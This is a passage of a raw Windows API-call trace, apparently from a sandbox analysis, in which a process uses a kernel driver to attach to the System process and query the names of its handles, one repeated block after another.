PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.309] ObReferenceObjectByHandle (in: Handle=0xffffffff8000004c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002af2460, HandleInformation=0x0) returned 0x0 [0119.309] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.309] PsReleaseProcessExitSynchronization () returned 0x2 [0119.309] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.309] ObQueryNameString (in: Object=0xfffffa8002af2460, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.309] ObfDereferenceObject (Object=0xfffffa8002af2460) returned 0x1 [0119.309] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.309] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.309] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.309] PsAcquireProcessExitSynchronization () returned 0x0 [0119.309] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.309] ObReferenceObjectByHandle (in: Handle=0xffffffff80000054, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002a567a0, HandleInformation=0x0) returned 0x0 [0119.309] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.309] PsReleaseProcessExitSynchronization () returned 0x2 [0119.309] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.309] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.309] ObfDereferenceObject (Object=0xfffffa8002a567a0) returned 0x1 [0119.309] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.309] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.310] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.310] PsAcquireProcessExitSynchronization () returned 0x0 [0119.310] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.310] ObReferenceObjectByHandle (in: Handle=0xffffffff80000060, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002c52f20, HandleInformation=0x0) returned 0x0 [0119.310] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.310] PsReleaseProcessExitSynchronization () returned 0x2 [0119.310] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.310] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.310] ObfDereferenceObject (Object=0xfffffa8002c52f20) returned 0x1 [0119.310] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.310] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.310] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.310] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.310] PsAcquireProcessExitSynchronization () returned 0x0 [0119.310] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.310] ObReferenceObjectByHandle (in: Handle=0xffffffff80000064, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002fc0050, HandleInformation=0x0) returned 0x0 [0119.310] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.310] PsReleaseProcessExitSynchronization () returned 0x2 [0119.310] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.310] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.310] ObfDereferenceObject (Object=0xfffffa8002fc0050) returned 0x1 [0119.310] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.310] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.310] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.310] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.310] PsAcquireProcessExitSynchronization () returned 0x0 [0119.310] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.310] ObReferenceObjectByHandle (in: Handle=0xffffffff80000068, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8004599f20, HandleInformation=0x0) returned 0x0 [0119.310] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.310] PsReleaseProcessExitSynchronization () returned 0x2 [0119.310] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.311] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.311] ObfDereferenceObject (Object=0xfffffa8004599f20) returned 0x1 [0119.311] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.311] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.311] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.311] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.311] PsAcquireProcessExitSynchronization () returned 0x0 [0119.311] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.311] ObReferenceObjectByHandle (in: Handle=0xffffffff8000006c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8005049050, HandleInformation=0x0) returned 0x0 [0119.311] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.311] PsReleaseProcessExitSynchronization () returned 0x2 [0119.311] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.311] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.311] ObfDereferenceObject (Object=0xfffffa8005049050) returned 0x1 [0119.311] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.311] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.311] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.311] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.311] PsAcquireProcessExitSynchronization () returned 0x0 [0119.311] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.311] ObReferenceObjectByHandle (in: Handle=0xffffffff80000070, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8005bfa050, HandleInformation=0x0) returned 0x0 [0119.311] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.311] PsReleaseProcessExitSynchronization () returned 0x2 [0119.311] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.311] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.311] ObfDereferenceObject (Object=0xfffffa8005bfa050) returned 0x1 [0119.311] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.311] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.311] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.311] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.311] PsAcquireProcessExitSynchronization () returned 0x0 [0119.311] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.312] ObReferenceObjectByHandle (in: Handle=0xffffffff80000074, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80053d87a0, HandleInformation=0x0) returned 0x0 [0119.312] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.312] PsReleaseProcessExitSynchronization () returned 0x2 [0119.312] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.312] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.312] ObfDereferenceObject (Object=0xfffffa80053d87a0) returned 0x1 [0119.312] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.312] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.312] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.312] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.312] PsAcquireProcessExitSynchronization () returned 0x0 [0119.312] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.312] ObReferenceObjectByHandle (in: Handle=0xffffffff80000078, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8005ffb1f0, HandleInformation=0x0) returned 0x0 [0119.312] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.312] PsReleaseProcessExitSynchronization () returned 0x2 [0119.312] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.312] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.312] ObfDereferenceObject (Object=0xfffffa8005ffb1f0) returned 0x1 [0119.312] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.312] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.312] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.312] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.312] PsAcquireProcessExitSynchronization () returned 0x0 [0119.312] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.312] ObReferenceObjectByHandle (in: Handle=0xffffffff8000007c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80067fbf20, HandleInformation=0x0) returned 0x0 [0119.312] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.312] PsReleaseProcessExitSynchronization () returned 0x2 [0119.312] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.312] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.312] ObfDereferenceObject (Object=0xfffffa80067fbf20) returned 0x1 [0119.312] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.312] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.312] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.313] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.313] PsAcquireProcessExitSynchronization () returned 0x0 [0119.313] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.313] ObReferenceObjectByHandle (in: Handle=0xffffffff80000080, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8005ffe470, HandleInformation=0x0) returned 0x0 [0119.313] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.313] PsReleaseProcessExitSynchronization () returned 0x2 [0119.313] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.313] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.313] ObfDereferenceObject (Object=0xfffffa8005ffe470) returned 0x1 [0119.313] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.313] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.313] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0119.313] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.313] PsAcquireProcessExitSynchronization () returned 0x0 [0119.313] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.313] ObReferenceObjectByHandle (in: Handle=0xffffffff80000084, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8010ff9f20, HandleInformation=0x0) returned 0x0 [0119.313] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.313] PsReleaseProcessExitSynchronization () returned 0x2 [0119.313] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.313] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.313] ObfDereferenceObject (Object=0xfffffa8010ff9f20) returned 0x1 [0119.313] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.313] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.313] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.313] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.313] PsAcquireProcessExitSynchronization () returned 0x0 [0119.313] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.313] ObReferenceObjectByHandle (in: Handle=0xffffffff80000088, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8007119050, HandleInformation=0x0) returned 0x0 [0119.313] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.314] PsReleaseProcessExitSynchronization () returned 0x2 [0119.314] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.314] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.314] ObfDereferenceObject (Object=0xfffffa8007119050) returned 0x1 [0119.314] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.314] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.314] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xc2, lpOverlapped=0x0) returned 1 [0119.314] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.314] PsAcquireProcessExitSynchronization () returned 0x0 [0119.314] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.314] ObReferenceObjectByHandle (in: Handle=0xffffffff8000008c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f2b470, HandleInformation=0x0) returned 0x0 [0119.314] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.314] PsReleaseProcessExitSynchronization () returned 0x2 [0119.314] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.314] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.314] ObfDereferenceObject (Object=0xfffffa8002f2b470) returned 0x21 [0119.314] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.314] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.314] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.314] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.314] PsAcquireProcessExitSynchronization () returned 0x0 [0119.314] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.314] ObReferenceObjectByHandle (in: Handle=0xffffffff8000009c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002964d20, HandleInformation=0x0) returned 0x0 [0119.314] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.314] PsReleaseProcessExitSynchronization () returned 0x2 [0119.314] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.314] ObQueryNameString (in: Object=0xfffffa8002964d20, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.315] ObfDereferenceObject (Object=0xfffffa8002964d20) returned 0x2 [0119.315] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.315] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.315] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.315] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.315] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.315] PsAcquireProcessExitSynchronization () returned 0x0 [0119.315] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.315] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002964050, HandleInformation=0x0) returned 0x0 [0119.315] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.315] PsReleaseProcessExitSynchronization () returned 0x2 [0119.315] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.315] ObQueryNameString (in: Object=0xfffffa8002964050, 